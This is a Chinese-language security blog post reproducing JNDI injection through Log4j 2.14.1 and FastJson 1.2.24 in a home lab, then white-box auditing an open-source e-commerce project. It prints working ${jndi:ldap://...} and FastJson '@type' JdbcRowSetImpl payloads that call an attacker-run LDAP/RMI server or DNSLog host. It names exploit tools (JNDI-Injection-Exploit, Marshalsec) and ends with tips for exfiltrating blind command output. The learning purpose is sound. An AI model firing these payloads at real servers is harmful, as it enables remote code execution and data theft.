JNDI注入&Log4j&FastJson&白盒审计&不回显处理

发布时间:2023年12月20日

目录

0x00 前言

0x01 Maven 仓库及配置

0x02 JNDI 注入简介

0x03 Java-第三方组件-Log4J&JNDI

0x04 Java-第三方组件-FastJson&反射

0x05 白盒审计 - FastJson

0x06 白盒审计 - Log4j

0x07 不回显的处理方法


0x00 前言

希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!?

个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog

0x01 Maven 仓库及配置

Jar仓库:Maven Repository: Search/Browse/Explore (mvnrepository.com)

Maven配置:IDEA配置Maven的超详细步骤_java_脚本之家 (jb51.net)

0x02 JNDI 注入简介

参考:【精选】安全技术系列之JNDI注入_jndi注入原理-CSDN博客

Java Naming?and?Directory Interface (Java?命名和目录接口?),JNDI?提供统一的客户端?API,通过不同的服务供应接口(SPI)的实现,由管理者将?JNDI?API?映射为特定的命名服务和目录服务,使得?JAVA?应用程可以通过?JNDI?实现和这些命名服务和目录服务之间的交互。

简单来说,JNDI 就是一个 Java 自带的 API,可以实现远程打印、远程调用文件等。

可以看到,在图中 JNDI 的下面有 LDAP 和 RMI 两个协议,这两个协议是在 JNDI 注入过程中经常用到的,可以实现远程调用执行 Java class 文件。

LDAP 是一种用于访问和维护分布式目录服务信息的协议,广泛用于身份认证、访问控制和共享资源等领域。RMI是一种允许在分布式系统中进行远程方法调用的协议。

0x03 Java-第三方组件-Log4J&JNDI

1、Log4j简介

Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX?Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

简单来说,Log4j就是一个Java的第三方组件,用来对日志进行处理,如果项目有日志需求,就有可能用到Log4j。

历史漏洞:https://avd.aliyun.com/search?q=Log4j

2、简单测试 Log4j 漏洞

首先在 Maven 官网找到相应版本的 Log4j(我这里用的是 2.14.1 版本),粘贴到 pom.xml

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

创建一个 Log4jTest 的类来测试,以下是代码:(注意这里包不要倒错了)

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

运行 main 函数后,IDEA 控制台输出:123

修改 Log4jTest 类的代码,如下:

运行 main 函数后,IDEA 控制台输出了操作系统的信息,也就是以 Java 代码执行了系统命令

那么思考一个问题,如果 code 变量可控,是不是可以进行漏洞利用了呢?

新建一个 Web 项目模拟可控变量 code 的场景:创建一个 Log4jServlet,代码如下。

浏览器访问:http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code=%24{java%3aos}

这里我测试直接传入code=${java:os}不行,不让直接输入 {} 号,所以进行了 URL 编码。最后IDEA 控制台同样输出了操作系统的信息。

3、工具测试 Log4j 漏洞

这里引入一款 JNDI 注入工具:JNDI-Injection-Exploit,这款工具可以生成一个 class 文件供远程访问,并附带 JNDI 链接,可以将这些链接插入 POC 以测试漏洞。

具体使用方法如下:

# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

其中:
-C   远程class文件中要执行的命令
-A   服务器地址,可以是IP地址或者域名

注意:
要确保 1099、1389、8180端口可用,不被其他程序占用
或者你也可以在run.ServerStart类26~28行更改默认端口

实验时我用的 Kali 虚拟机来运行的 JNDI-Injection-Exploit 工具。本来想用腾讯云的 CentOS,但是测试发现进行 JNDI 注入后 Web 项目的主机(即我的物理机)没有成功访问 Kali 上的 class 文件,可能是防火墙策略的原因。

我的 Target Environment 是 JDK 1.8(也就是运行 Web 项目的主机,也即我的物理机),所以应该选择如图所示的 RMI 或 LDAP 链接。

基于之前的项目环境,构造 POC:

http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code=${jndi:ldap://192.168.1.10:1389/hjrijn}

经过 URL 编码后为:

http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code=%24%7bjndi%3aldap%3a%2f%2f192.168.1.10%3a1389%2fhjrijn%7d

成功弹出计算器,如图:

观察到 Kali 这边输出了日志,并且可以看到生成的 class 文件位置。

总结,触发JNDI 注入的原因:开发源码中引用漏洞组件(如 Log4j),使用了组件里可能会触发漏洞的代码(如 log.error),并且有可控变量存在(如这里的 $code)

这里我相当于是白盒知道该 Web 项目引用了 Log4j 组件并且知道注入点是 code,那么实战中(黑盒)如何知道对方有没有引用 Log4j 呢?并且就算注入成功自己也无从知晓(比如就算对方弹了计算器,但我是看不到的),那么又如何判断哪里是注入点呢?

思路:

  • Fofa、Shodan关键字搜 Log4j、根据返回包内容有无 Log4j 相关信息、页面报错信息等方式去判断对方有没有引用 Log4j
  • 通过 DNSLog 测试有无回连,比如构造 POC 为 ${jndi:ldap://xxx.dns.log} 去测试注入点

0x04 Java-第三方组件-FastJson&反射

1、FastJson 简介

在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。

Java 其实是有原生 Json 数据格式转换的,但由于 FastJson 速度更快,效率更高,所以被广泛使用。

简单来说 FastJson 就是一个阿里巴巴开发的用做 Json 数据格式转换的 Java 第三方组件。

历史漏洞:https://avd.aliyun.com/search?q=fastjson

2、简单测试 FastJson

同样先引用 FastJson 组件(我使用的是 1.2.24 版本)

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

创建一个 User 类,用来测试 FastJson 的数据格式转换

创建一个 FastjsonTest,使用 FastJson 处理 User 类的数据转换

运行 main 函数后,IDEA 控制台输出如下:

可以看到使用 JSONObject.toJSONString 的 SerializerFeature.WriteClassName 参数时会附带上类名,这也是漏洞利用的关键点。

将 JSON 格式字符串转换为对象的过程,实质上就是反序列化的过程,上述 JSON ---> 对象 的代码中:

String test = "{\"@type\":\"com.example.FastjsonDemo.User\",\"age\":23,\"name\":\"ch4ser\"}";

反序列化的是 User 这个类。试想,如果将在 com.example.FastjsonDemo 路径下创建一个新的类 Run,代码如下:

并且修改 "@type":"com.example.FastjsonDemo.Run",如下所示:

String test = "{\"@type\":\"com.example.FastjsonDemo.Run\",\"age\":23,\"name\":\"ch4ser\"}";

那么重新运行 main 函数,就会反序列化 Run 这个类,并且会触发 Run 这个类的无参构造方法 Run(),最终弹出计算器。

但是问题来了,这里我是做测试自己新建了一个类固定调用的,但实战中明显是不现实的,那么实战中应该如何操作呢?

3、测试 javax.naming.InitialContext.lookup() 方法

在搞清楚实战中应该如何操作之前,需要先引入 javax.naming.InitialContext.lookup() 这个方法。

也就是说,Java 如果要调用某个类的话,那就可以使用 InitialContext 这个类的 lookup 方法实现调用(利用 RMI、LDAP等远程调用)。基于安全角度看,这个方法就是专门用于 JNDI 注入的。

创建一个 JndiDemo 来测试 lookup 方法,代码如下:

以上为使用 JNDI-Injection-Exploit 工具,实测发现 LDAP可以弹出计算器,而 RMI 不行。

重新引入一款工具:Marshalsec,和 JNDI-Injection-Exploit 工具不同的是它内置一些绕过限制的功能。

使用这款工具需要自己先写一个类,然后编译成 class 文件并放到 Marshalsec 服务端(也就是我的 Kali)的网站目录下。

在 IDEA 终端编译 Run 类为 class 文件,并放到 Kali 网站目录下(默认是 /var/www/html)。

修改 JndiDemo 测试代码:

启动 Marshalsec 工具,运行 main 函数后发现 Server 端收到了请求,但是 Win11 并没有弹出计算器。问了群里大佬,说可能是工具问题,我看小迪用的时候也是有问题。

4、Fastjson 漏洞复现

模拟一个使用 Fastjson 组件的网站,前端代码如下:

后端代码如下:

查看网上别人的 Fastjson 利用 Payload 为:

Payload 1:
{
 "@type":"java.lang.Class",
 "val":"com.sun.rowset.JdbcRowSetImpl"
 }

Payload 2:
{
 "@type":"com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName":"rmi://dnslog.cn地址/zcc",
 "autoCommit":true
 }

启动 JNDI-Injection-Exploit 工具,构造 Payload 并填入,成功弹出计算器:

还是回到之前那个问题:实战中无法自己创建恶意类固定调用,那这里又是如何实现调用的呢?

原因是以上 Payload 中 指定的 com.sun.rowset.JdbcRowSetImpl 类调用了 InitialContext.lookup() 方法。

Java 中还有其他类调用了 InitialContext.lookup() 方法,如下:

1、在RMI服务中调用了InitialContext.lookup()的类有:

org.springframework.transaction.jta.JtaTransactionManager.readObject()

com.sun.rowset.JdbcRowSetImpl.execute()

javax.management.remote.rmi.RMIConnector.connect()

org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String?sfJNDIName)


2、在LDAP服务中调用了InitialContext.lookup()的类有:

InitialDirContext.lookup()

Spring LdapTemplate.lookup()

LdapTemplate.lookupContext()

现在我把项目的 JDK 版本由 1.8.0_131 换成 17.0.2 之后,还是原先的 Payload,发现数据还是能正常接收,但是计算器不弹了。

这是由于官方针对不同 JDK 版本做出了一些限制,也就是说,高版本的 JDK 会影响 JNDI 注入(RMI、LDAP),具体如下:

JDK 6u45、7u21之后:
java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,
将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。
使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

JDK 6u141、7u131、8u121之后:
增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,
因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:
增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,
禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

0x05 白盒审计 - FastJson

迷你天猫商城:一个基于Spring Boot的综合性B2C电商平台,需求设计主要参考天猫商城的购物流程:用户从注册开始,到完成登录,浏览商品,加入购物车,进行下单,确认收货,评价等一系列操作。 作为迷你天猫商城的核心组成部分之一,天猫数据管理后台包含商品管理,订单管理,类别管理,用户管理和交易额统计等模块,实现了对整个商城的一站式管理和维护。

项目环境搭建:首先配置好 Git,然后 Maven 点击 clean 和 install,再配置数据库连接信息,最后即可启动。

审计过程:

直接全局搜索 JSON.parse 或 JSON.parseObject,看到有四个地方用了 JSON.parseObject,表明使用了 FastJson 组件并使用了相关反序列化漏洞函数,随机跟进一个

跟进传入的参数值 propertyJson,得知该值为 产品属性 JSON 数据,并且通过 @RequestMapping 路由得知该功能点大概率是后台管理员添加产品的界面,反序列化的对象也即为产品信息

在 pom.xml 里搜索 fastjson,得知项目所使用的 FastJson 版本为 1.2.58,查阅漏洞库得知该版本存在漏洞

登录后台,测试添加产品并用 BurpSuite 抓包,看到确实有 propertyJson 这个值传递,于是下一步直接构造 payload 复现

构造 payload,测试出网回显调用访问:(这里 DNSLog 地址我用的 Yakit 生成的)

{"@type":"java.net.Inet4Address","val":"ldap://192.168.139.1:1389/eg5vto"}

改包发包之后,在 Yakit 这边看到连接,证明可以出网

0x06 白盒审计 - Log4j

同样,先全局搜索 logger.info 或 logger.error,搜索结果很多,但有可控变量的才能被利用

跟进,发现路由地址为 admin/uploadAdminHeadImage,变量 originalFileName 值是获取的上传头像的文件名,并且推测功能点应该是后台管理员头像上传界面

在 pom.xml 里搜索 log4j,得知项目所使用的 Log4j 版本为 2.10.0,查阅漏洞库得知该版本存在漏洞

登录后台,测试上传管理员头像并用 BurpSuite 抓包,看到路径确实是 admin/uploadAdminHeadImage,于是下一步直接构造 payload 传入 filename 值即可

构造 payload,测试出网回显调用访问:(这里 Yakit 抽风了,我用的 DNSLog.cn)

${jndi:ldap://endjri.dnslog.cn}

改包发包之后,在 DNSLog.cn 这边看到连接,证明可以出网

使用 JNDI-Injection-Exploit,尝试弹出计算器(我这里 JDK 版本是 8u131)

测试结果为:RMI不行,LDAP可以。原因还是和之前的一样,高版本的 JDK 会影响 JNDI 注入

0x07 不回显的处理方法

  • 直接将执行结果写入到静态资源文件里,如 HTML、JavaScript 等,然后访问
  • 通过 DNSLog 进行数据外带,但如果无法执行 DNS 请求就无法验证了
  • 接将命令执行结果回显到 HTTP 响应中

参考:面试长问|Fastjson不出网利用总结 (qq.com)

文章来源:https://blog.csdn.net/qq_46081990/article/details/135082769
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。